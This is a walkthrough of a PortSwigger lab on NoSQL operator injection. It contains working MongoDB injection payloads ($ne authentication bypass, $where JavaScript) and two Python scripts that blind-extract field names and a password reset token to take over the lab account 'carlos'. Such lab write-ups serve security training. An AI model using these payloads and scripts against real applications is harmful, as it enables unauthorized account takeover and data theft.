Exploiting NoSQL operator injection to extract unknown fields | October 10, 2023
Table of Contents
Overview
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting NoSQL operator injection to extract unknown fields! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★★☆☆☆☆☆☆☆
Background
The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection.
To solve the lab, log in as carlos
.
Enumeration
Home page:
In here, we can purchase some products.
Login page:
In here, we can login to an account or reset password for a user.
The “Forgot password?” link:
Let’s try to enter a random username like wiener
:
When we clicked the “Submit” button, the web application will send a reset password link to the email that ties to the account.
Hmm… Usually the reset password works like this:
- Generate a unique token and insert it to the database
- Send the reset password link to the user’s email. The link should contains the token’s value
- When the user clicked on that link, the web application will verify the token is legit and valid with the database’s inserted token
- If the token is valid, reset the user’s password
Let’s keep this in mind and move forward.
Login page view source:
[...]
<section>
<form class=login-form method=POST action="/login">
<label>Username</label>
<input required type=username name="username" autofocus>
<label>Password</label>
<input required type=password name="password">
<a href=/forgot-password>Forgot password?</a>
<br/>
<button class=button onclick="event.preventDefault(); jsonSubmit('/login')"> Log in </button>
<script src='/resources/js/login.js'></script>
</form>
</section>
[...]
In here, this page has imported a JavaScript file called login.js
from /resources/js/
.
login.js
:
function jsonSubmit(loginPath) {
const formToJSON = elements => [].reduce.call(elements, (data, element) => {
if (element.name && element.name.length > 0) {
data[element.name] = element.value;
}
return data;
}, {});
const jsonObject = formToJSON(document.getElementsByClassName("login-form")[0].elements)
const formData = JSON.stringify(jsonObject);
fetch(
loginPath,
{
method: "POST",
body: formData,
headers: {
"Content-Type": "application/json"
},
}
)
.then(response => {
response.text().then(t => {
document.open();
document.write(t);
document.close();
});
if (response.redirected) {
history.pushState({}, "", response.url)
}
});
}
When we clicked the “Log in” button, it’ll send a POST request to /login
with username
and password
data in JSON format.
Let’s try to login as an invalid user and see the request in Burp Suite HTTP history:
Then, send this request to Burp Repeater and try to find NoSQL injection vulnerability.
First, we can try to perform authentication bypass via NoSQL injection’s operator injection:
{
"username": "carlos",
"password":{
"$ne": "foobar"
}
}
Wait what? “Account locked: please reset your password”??
Hmm… Looks like the login endpoint is vulnerable to NoSQL injection’s operator injection. However, carlos
’s account is locked…
Exploitation
Ah ha! Maybe we need to extract the value of the reset password token from the database? But how?
Identifying field names:
Because MongoDB handles semi-structured data that doesn’t require a fixed schema, you may need to identify valid fields in the collection before you can extract data using JavaScript injection.
For example, to identify whether the MongoDB database contains a password
field, you could submit the following payload:
https://insecure-website.com/user/lookup?username=admin'+%26%26+this.password!%3d'
Send the payload again for an existing field and for a field that doesn’t exist. In this example, you know that the username
field exists, so you could send the following payloads:
admin' && this.username!='
admin' && this.foo!='
If the password
field exists, you’d expect the response to be identical to the response for the existing field (username
), but different to the response for the field that doesn’t exist (foo
).
If you want to test different field names, you could perform a dictionary attack, by using a wordlist to cycle through different potential field names.
Note:
You can alternatively use NoSQL operator injection to extract field names character by character. This enables you to identify field names without having to guess or perform a dictionary attack.
Exploiting NoSQL operator injection to extract data:
Even if the original query doesn’t use any operators that enable you to run arbitrary JavaScript, you may be able to inject one of these operators yourself. You can then use boolean conditions to determine whether the application executes any JavaScript that you inject via this operator.
Injecting operators in MongoDB:
Consider a vulnerable application that accepts username and password in the body of a POST
request:
{"username":"wiener","password":"peter"}
To test whether you can inject operators, you could try adding the $where
operator as an additional parameter, then send one request where the condition evaluates to false, and another that evaluates to true. For example:
{"username":"wiener","password":"peter", "$where":"0"}
{"username":"wiener","password":"peter", "$where":"1"}
If there is a difference between the responses, this may indicate that the JavaScript expression in the $where
clause is being evaluated.
Extracting field names:
If you have injected an operator that enables you to run JavaScript, you may be able to use the keys()
method to extract the name of data fields. For example, you could submit the following payload:
"$where":"Object.keys(this)[0].match('^.{0}a.*')"
This inspects the first data field in the user object and returns the first character of the field name. This enables you to extract the field name character by character.
Armed with above information, we can try to inject the $where
operator and see what will happen:
{
"username": "carlos",
"password":{
"$ne": "foobar"
},
"$where": "0"
}
{
"username": "carlos",
"password":{
"$ne": "foobar"
},
"$where": "1"
}
When we use "$where": "0"
, it’ll be evaluated as False
, and "$where": "1"
will be evaluated as True
.
In here, we can see that the 0
is evaluated as False
, which means the login was failed. In 1
, it got “Account locked”, which means the login was successfully.
That being said, the JavaScript expression in the $where
clause is being evaluated.
After that, we can extract field names via "$where": "Object.keys(this)[0].match('^.{0}a.*')"
:
{
"username": "carlos",
"password":{
"$ne": "foobar"
},
"$where": "Object.keys(this)[0].match('^.{0}a.*')"
}
Note: The JavaScript
match()
function’s regex can be<found_character>.*
.
But before we do that, let’s generate a password reset token for user carlos
:
Next, to automate this process, I’ll write a Python script:
import requests
from string import ascii_letters
class Exploit:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
def extractFieldNames(self, fieldPosition):
LOGIN_ENDPOINT = '/login'
LAST_CHARACTER = ascii_letters[-1]
username = 'carlos'
password = {
'$ne': 'foobar'
}
fieldName = str()
while True:
for character in ascii_letters:
payload = f'^{fieldName}{character}.*' if fieldName else f'^{character}.*'
whereOperatorKey = f'Object.keys(this)[{fieldPosition}].match("{payload}")'
print(f'[*] Sending payload: {whereOperatorKey}', end='\r')
loginData = {
'username': username,
'password': password,
'$where': whereOperatorKey
}
loginRespond = requests.post(f'{self.baseUrl}{LOGIN_ENDPOINT}', json=loginData)
isValidCharacter = False if 'Invalid username' in loginRespond.text else True
isLastCharacter = character == LAST_CHARACTER
isEmptyFieldName = True if len(fieldName) == 0 else False
if not isValidCharacter and isLastCharacter and isEmptyFieldName:
print(f'[-] Looped through all possible characters, no luck. This field position {fieldPosition} doesn\'t have a field?')
return
if not isValidCharacter and isLastCharacter:
print('[-] Looped through all possible characters, no luck. Maybe we found all the characters?')
print(f'[*] Field name: {fieldName}')
return
if isValidCharacter:
fieldName += character
print(f'\n[+] Found valid character "{character}" on field position {fieldPosition}')
break
if __name__ == '__main__':
baseUrl = 'https://0a5d009d04e55d29804112b8009f007b.web-security-academy.net'
exploit = Exploit(baseUrl)
# you can change your minimum/maximum field position here
MINIMUM_FIELD_POSITION = 0
MAXIMUM_FIELD_POSITION = 4
for fieldPosition in range(MINIMUM_FIELD_POSITION, MAXIMUM_FIELD_POSITION):
exploit.extractFieldNames(fieldPosition)
┌[siunam♥Mercury]-(~/ctf/Portswigger-Labs/NoSQL-Injection/NoSQLi-4)-[2023.10.10|15:17:08(HKT)]
└> python3 extract_field_names.py
[-] Looped through all possible characters, no luck. This field position 0 doesn't have a field?
[*] Sending payload: Object.keys(this)[1].match("^u.*")
[+] Found valid character "u" on field position 1
[*] Sending payload: Object.keys(this)[1].match("^us.*")
[+] Found valid character "s" on field position 1
[*] Sending payload: Object.keys(this)[1].match("^use.*")
[+] Found valid character "e" on field position 1
[*] Sending payload: Object.keys(this)[1].match("^user.*")
[+] Found valid character "r" on field position 1
[*] Sending payload: Object.keys(this)[1].match("^usern.*")
[+] Found valid character "n" on field position 1
[*] Sending payload: Object.keys(this)[1].match("^userna.*")
[+] Found valid character "a" on field position 1
[*] Sending payload: Object.keys(this)[1].match("^usernam.*")
[+] Found valid character "m" on field position 1
[*] Sending payload: Object.keys(this)[1].match("^username.*")
[+] Found valid character "e" on field position 1
[-] Looped through all possible characters, no luck. Maybe we found all the characters?
[*] Field name: username
[*] Sending payload: Object.keys(this)[2].match("^p.*")
[+] Found valid character "p" on field position 2
[...]
[*] Sending payload: Object.keys(this)[2].match("^password.*")
[+] Found valid character "d" on field position 2
[-] Looped through all possible characters, no luck. Maybe we found all the characters?
[*] Field name: password
[*] Sending payload: Object.keys(this)[3].match("^p.*")
[+] Found valid character "p" on field position 3
[...]
[*] Sending payload: Object.keys(this)[3].match("^pwResetTkn.*")
[+] Found valid character "n" on field position 3
[-] Looped through all possible characters, no luck. Maybe we found all the characters?
[*] Field name: pwResetTkn
Nice! We extracted 3 fields: username
, password
, and pwResetTkn
.
Hmm… The pwResetTkn
sounds like password reset token.
That being said, let’s extract the password reset token for user carlos
!
This time, we can use the field name and match()
JavaScript function as our payload:
this.pwResetTkn[0].match('<character_here>.*')
Or, we can use:
this.pwResetTkn[<character_index>] == '<character>'
If the character is correct, it’ll response “Account locked: please reset your password”. Otherwise response “Invalid username or password”.
Since I used the first method in extracting field names, I’ll try to use the second method.
To do so, I’ll modify the Python script:
import requests
from string import ascii_letters, digits
class Exploit:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.LOGIN_ENDPOINT = '/login'
self.USERNAME = 'carlos'
self.PASSWORD = {
'$ne': 'foobar'
}
self.CHARACTER_SET = ascii_letters + digits
self.LAST_CHARACTER = self.CHARACTER_SET[-1]
def extractFieldNames(self, fieldPosition):
fieldName = str()
while True:
for character in self.CHARACTER_SET:
payload = f'^{fieldName}{character}.*' if fieldName else f'^{character}.*'
whereOperatorKey = f'Object.keys(this)[{fieldPosition}].match("{payload}")'
print(f'[*] Sending payload: {whereOperatorKey}', end='\r')
loginData = {
'username': self.USERNAME,
'password': self.PASSWORD,
'$where': whereOperatorKey
}
loginRespond = requests.post(f'{self.baseUrl}{self.LOGIN_ENDPOINT}', json=loginData)
isValidCharacter = False if 'Invalid username' in loginRespond.text else True
isEmptyFieldName = True if len(fieldName) == 0 else False
isLastCharacter = character == self.LAST_CHARACTER
if not isValidCharacter and isLastCharacter and isEmptyFieldName:
print(f'[-] Looped through all possible characters, no luck. This field position {fieldPosition} doesn\'t have a field?')
return
if not isValidCharacter and isLastCharacter:
print('[-] Looped through all possible characters, no luck. Maybe we found all the characters?')
print(f'[*] Field name: {fieldName}')
return
if isValidCharacter:
fieldName += character
print(f'\n[+] Found valid character "{character}" on field position {fieldPosition}')
break
def extractFieldData(self, fieldName):
username = 'carlos'
password = {
'$ne': 'foobar'
}
characterIndex = 0
foundResetToken = str()
while True:
for character in self.CHARACTER_SET:
payload = f'this.pwResetTkn[{characterIndex}] == "{character}"'
print(f'[*] Trying payload: {payload}', end='\r')
loginData = {
'username': self.USERNAME,
'password': self.PASSWORD,
'$where': payload
}
loginRespond = requests.post(f'{self.baseUrl}{self.LOGIN_ENDPOINT}', json=loginData)
isValidCharacter = False if 'Invalid username' in loginRespond.text else True
isLastCharacter = character == self.LAST_CHARACTER
if not isValidCharacter and isLastCharacter:
print('[-] Looped through all possible characters, no luck. Maybe we found all the characters?')
print(f'[*] Password reset token: {foundResetToken}')
return
if isValidCharacter:
foundResetToken += character
print(f'\n[+] Found valid character "{character}" on character position {characterIndex}')
characterIndex += 1
break
if __name__ == '__main__':
baseUrl = 'https://0a5d009d04e55d29804112b8009f007b.web-security-academy.net'
exploit = Exploit(baseUrl)
# you can change your minimum/maximum field position here
# MINIMUM_FIELD_POSITION = 0
# MAXIMUM_FIELD_POSITION = 4
# for fieldPosition in range(MINIMUM_FIELD_POSITION, MAXIMUM_FIELD_POSITION):
# exploit.extractFieldNames(fieldPosition)
FIELD_NAME = 'pwResetTkn'
exploit.extractFieldData(FIELD_NAME)
┌[siunam♥Mercury]-(~/ctf/Portswigger-Labs/NoSQL-Injection/NoSQLi-4)-[2023.10.10|15:52:02(HKT)]
└> python3 extract_field_names.py
[*] Trying payload: this.pwResetTkn[0] == "e"
[+] Found valid character "e" on character position 0
[*] Trying payload: this.pwResetTkn[1] == "6"
[+] Found valid character "6" on character position 1
[...]
[*] Trying payload: this.pwResetTkn[15] == "9"
[+] Found valid character "9" on character position 15
[-] Looped through all possible characters, no luck. Maybe we found all the characters?
[*] Password reset token: e6190495b173daa9
Now that we have the password reset token for user carlos
!
But… Where does the password reset token can be used? Maybe it’s at endpoint /forgot-password
?
After some educated guessing, I found that the password reset token field name pwResetTkn
is the validating tokens’ GET parameter!
Let’s provide the correct token in the pwResetTkn
parameter!
Then, we can reset carlos
’s password via sending a POST request to /forgot-password
with parameter csrf
, pwResetTkn
, new-password-1
, and new-password-2
.
Finally, we should be able to login as carlos
with the new password:
Conclusion
What we’ve learned:
- Exploiting NoSQL operator injection to extract unknown fields